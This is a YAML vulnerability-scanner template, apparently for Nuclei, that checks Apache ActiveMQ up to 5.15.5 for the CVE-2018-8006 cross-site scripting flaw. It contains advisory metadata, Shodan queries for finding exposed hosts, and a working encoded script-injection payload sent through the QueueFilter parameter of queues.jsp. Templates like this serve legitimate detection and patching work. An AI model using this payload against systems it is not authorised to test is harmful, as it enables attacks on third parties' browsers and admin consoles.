59 lines
2.9 KiB
YAML
59 lines
2.9 KiB
YAML
id: CVE-2018-8006
|
|
|
|
info:
|
|
name: Apache ActiveMQ <=5.15.5 - Cross-Site Scripting
|
|
author: pdteam
|
|
severity: medium
|
|
description: Apache ActiveMQ versions 5.0.0 to 5.15.5 are vulnerable to cross-site scripting via the web based administration console on the queue.jsp page. The root cause of this issue is improper data filtering of the QueueFilter parameter.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: |
|
|
Upgrade Apache ActiveMQ to a version higher than 5.15.5 or apply the necessary patches provided by the vendor.
|
|
reference:
|
|
- http://activemq.apache.org/security-advisories.data/CVE-2018-8006-announcement.txt
|
|
- https://lists.apache.org/thread.html/2b5c0039197a4949f29e1e2c9441ab38d242946b966f61c110808bcc@%3Ccommits.activemq.apache.org%3E
|
|
- https://lists.apache.org/thread.html/fcbe6ad00f1de142148c20d813fae3765dc4274955e3e2f3ca19ff7b@%3Cdev.activemq.apache.org%3E
|
|
- https://lists.apache.org/thread.html/a859563f05fbe7c31916b3178c2697165bd9bbf5a65d1cf62aef27d2@%3Ccommits.activemq.apache.org%3E
|
|
- https://lists.apache.org/thread.html/03f91b1fb85686a848cee6b90112cf6059bd1b21b23bacaa11a962e1@%3Cdev.activemq.apache.org%3E
|
|
- https://lists.apache.org/thread.html/3f1e41bc9153936e065ca3094bd89ff8167ad2d39ac0b410f24382d2@%3Cgitbox.activemq.apache.org%3E
|
|
- https://lists.apache.org/thread.html/c0ec53b72b3240b187afb1cf67e4309a9e5f607282010aa196734814@%3Cgitbox.activemq.apache.org%3E
|
|
- https://lists.apache.org/thread.html/rb698ed085f79e56146ca24ab359c9ef95846618675ea1ef402e04a6d@%3Ccommits.activemq.apache.org%3E
|
|
- https://lists.apache.org/thread.html/r946488fb942fd35c6a6e0359f52504a558ed438574a8f14d36d7dcd7@%3Ccommits.activemq.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-8006
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2018-8006
|
|
cwe-id: CWE-79
|
|
epss-score: 0.34776
|
|
epss-percentile: 0.97108
|
|
cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: activemq
|
|
shodan-query:
|
|
- cpe:"cpe:2.3:a:apache:activemq"
|
|
- product:"activemq openwire transport"
|
|
tags: cve2018,cve,apache,activemq,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"><script>alert("1")</script>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100a0463b0269827b10c042e60e307ca705f7b1d73716809e8b6ba1fcc115d0d58d0221009ab44f256b936e19e44637aa657cfbb6639e1b227e2a2c96b6e953a2800afd0a:922c64590222798bb761d5b6d8e72950 |